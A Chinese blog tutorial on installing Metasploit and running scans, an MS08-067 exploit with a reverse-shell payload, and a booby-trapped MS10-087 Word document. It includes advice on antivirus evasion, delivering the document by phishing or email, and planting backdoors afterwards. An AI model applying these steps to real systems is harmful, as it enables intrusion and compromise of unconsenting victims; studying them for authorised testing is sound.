Web安全渗透测试工具metasploit的安装和使用

1、安装

Step1:进到安装目录(安装目录不固定,随自己心意)

cd /home/lixiaoyun
Web安全渗透测试工具metasploit的安装和使用_第1张图片
依次执行上面的三条命令即可安装成功
进入msf终端输入msfconsole
Web安全渗透测试工具metasploit的安装和使用_第2张图片
当打开msfconsole后,红色的方框里面清楚的标记了metasploit所有的利用模块、payload、post模块等等。
msfconsole有两个查看帮助的选项。一个是msfconsole -h,一个是help。
msfconsole –h是显示在msfconsole初始化的选项和参数。而help则是显示进入msfconsole后可以利用的选项。

Step2:安装postgresql数据库(如果已安装忽略此步骤)

安装数据库的时候会自动创建系统用户postgres,数据库用户postgres,数据库postgres
注:安装完成之后确认下服务是否开启,命令:sudo service postgresql status
开启postgresql命令:sudo /etc/init.d/postgresql start
这里写图片描述
注:数据库在metaspoit中是相当重要的,当做一个大型渗透测试项目的时候,收集到的信息是相当大的,metasploit默认使用的是postgresql数据库。在BT5或是Kali等专业的渗透系统中,postgresql已经被默认安装。如果使用是ubuntu12.04等Liunx发行版,metasploit是自己安装的, 也需要自己安装postgresql数据库

Step3:msf使用数据库

启动msf:输入msfconsole,会提示你是否建立一个database,你输入yes就好
Web安全渗透测试工具metasploit的安装和使用_第3张图片
db_connect postgres:[email protected]/lixiaoyun //用户名,密码,地址,pg数据库。
注:切换到postgres用户,\l即可看到有哪些数据库
输入命令:psql -U postgres -d lixiaoyun -h 127.0.0.1 -p 5432
输入密码即可进入到msf所连接的数据库
db_status //查看数据库连接状态
db_rebuild_cache
search ms10 //等几分钟后再次运行看是否有告警(正确安装后,则不会有此告警)
db_disconnect //msf退出数据库连接
Web安全渗透测试工具metasploit的安装和使用_第4张图片

2、目录结构与常用命令

metasploit的框架目录:/opt/metasploit-framework/embedded/framework(包含系统文件和用户文件)
最重要的目录:data,modules,scripts,tools,plugins
1、data目录,该目录包含大量有用的模块,如meterpreter,exploits,wordlists等
meterpreter目录,通常用于后漏洞利用的功能当中
wordlists目录,这里面包含了大量的字典
exploits目录,里面包含大量的CVE漏洞利用代码,可供渗透过程中使用
2、modules目录,包含模块:auxiliary,encoders,exploits,nops,payloads,post
auxiliary目录,漏洞辅助模块,一般是没有攻击载荷的漏洞攻击
exploits目录,漏洞攻击模块列表
encoders目录,供msfencode编码工具使用,具体可以使用 msfencode –l
nops目录,空指令模块,一些对程序运行状态不会造成任何实质影响的空操作或无关操作指令,在shellcode之前添加空指令区,触发攻击跳转shellcode时,有一个可靠的安全着陆区。在攻击载荷中添加空指令,提高可靠性。
payloads目录,攻击载荷,也就是攻击成功后执行的代码。比如我们常设置的windows/meterpreter/reverse_tcp就在这个文件夹下
post目录,后渗透阶段模块,在获得meterpreter的shell之后可以使用的攻击代码。比如常用的hashdump(针对多种散列函数的攻击)、arp_scanner(端口扫描)就在这里
3、scripts目录,存放各种脚本文件,分别是meterpreter,ps,resource,shell
4、tools目录,存放着大量的使用工具
5、plugins目录,包含大量的插件
metasploit常用命令

命令 功能
use use name,加载模块
info 查看加载模块的信息,包括选项、利用条件、漏洞作者等
back 主要用于退出模块
show show exploits,查看所有exploit,show payloads 查看所有payload,show options 查看选项,show targets 查看exp使用的系统类型
search search name,搜索exploit等
set 主要是对payload或者其他模块进行设置,如:set RHOST 192.168.0.2,LHOST本机IP,RHOST目标IP
check 用于查看利用模块是否可用攻击目标主机。
exploit 执行exp 或模块
sessions 这个参数可以让大家能够交互,查询或者终止当前的一些会话。
exploit jobs 可以查看目前msfconsole上存在哪些任务,并且可以选择结束一些不需要的任务
…… 还有很多如关于数据库、网络、系统等命令

注:(1)命令行 msfcli (新版已经弃用,取而代之msfconsole 使用 -x 选项),较于终端msf,支持的功能特性较少,如不支持将结果输入到后台数据库中
(2)msfpayload和msfencode的集成版msfvenom,msfpayload为自制攻击载荷,可生成js、apk、exe、python等文件,msfencode为生成的载荷进行加密等。

3、使用场景

1、情报搜集

(1) 外围信息搜索
whois域名注册信息查询,nslookup与dig域名查询(查询域名对应的IP地址)
(2) 主机探测与端口扫描
Nmap进行主机探测
nmap -sn 192.168.1.0/24(ICMP包探测,Ping扫描,适合内网,外网容易被防火墙过滤掉)
nmap -Pn -sn 192.168.1.0/24(UDP包探测,适合Internet环境,功能类似于metasploit的udp_sweep模块)
nmap的端口扫描功能
nmap -sV -Pn 192.168.1.2
(3) 服务扫描与查点
SSH服务扫描
Web安全渗透测试工具metasploit的安装和使用_第5张图片
SSH服务口令猜测(此模块需要自己设置或者导入USERNAME或者PASS_FILE文件作为猜测的依据)
Web安全渗透测试工具metasploit的安装和使用_第6张图片

2、web漏洞扫描

流程:
第一步:db_connect连接数据库
第二步:db_status 查看数据库状态
第三步:load wmap 加载wmap模块
第四步:wmap_sites -a url 添加扫描站点
wmap_sites -l 查看已添加的站点
第五步:wmap_targets -t url或wmap_targets -d id 根据站点ID,设置目标站点
wmap_targets -l 检查已待扫描的目标主机
第六步:wmap_run -e 对目标启动 WMAP扫描
第七步:vulns 和 wmap_vulns -l 查看漏洞详细信息

3、生成恶意攻击脚本

流程
第一步:search name 如search ms08_067,会显示出找到的渗透模块
第二步:use name 如use exploit/windows/smb/ms08_067_netapi,漏洞模块的使用
第三步:info 查看模块信息
第四步:show payloads会显示出有效的攻击载荷,比如shell_reverse_tcp
第五步:set payload 如set payload generic/shell_reverse_tcp设置攻击有效载荷
第六步:show targets会显示出可以被攻击的靶机的操作系统型号
第七步:set targets num 设置目标的系统类型
第八步:show options 显示需要在攻击前需要设置的数据
第九步:set name 设置参数,如set LHOST “本机IP”, set RHOST “目标IP”
第十步:exploit 开始攻击或生成带有攻击代码的文档等
第十一步:session –l –v列出所有可用的交互会话以及详细信息
例1:OFFICE是我们最常用的办公软件,在office word 2003 sp3和 office word 2007中,著名的MS10-087漏洞,这是office的RTF解析漏洞,可以在doc文档中构造特殊代码,利用word程序在处理一个名为pFragments的参数时出现的缓冲区溢出错误,实现系统指令和后门运行,进而渗透反弹会话等获得操作系统权限。
工具:metasploit
环境:
渗透机:ubuntu
目标机:可选,如windows xp sp3 english
使用msf创建特殊代码的doc文档
Web安全渗透测试工具metasploit的安装和使用_第7张图片
Web安全渗透测试工具metasploit的安装和使用_第8张图片
Web安全渗透测试工具metasploit的安装和使用_第9张图片
Web安全渗透测试工具metasploit的安装和使用_第10张图片
Web安全渗透测试工具metasploit的安装和使用_第11张图片
渗透主机上开启msf监听8080端口等待meterpreter的反弹会话
Web安全渗透测试工具metasploit的安装和使用_第12张图片
到此,可以把文档后缀名改成.doc, word文档一般也会做免杀,如加密编码处理、加壳处理等。想办法把做好的带有溢出特殊代码的word文档送到目标主机上并运行,通过中间人、钓鱼、邮件等方式使目标主机下载该文档并运行就大功告成了(在靶机中打开后会执行payload)
目标主机中招后,在测试机上可以获得反弹会话,拿到一个session意味着已经拿下目标主机了,入侵后可以加用户开服务植入后门,看目标主机开了哪些进程等
MS10_087漏洞利用,payload是弹出计算器
网上演示地址:http://edu.51cto.com/center/course/lesson/index?id=62490
例2:构造office宏
Web安全渗透测试工具metasploit的安装和使用_第13张图片
参考地址:https://blog.rapid7.com/2017/03/08/attacking-microsoft-office-openoffice-with-metasploit-macro-exploits/

参考书籍:Metasploit渗透测试指南.pdf

你可能感兴趣的:(工具类使用)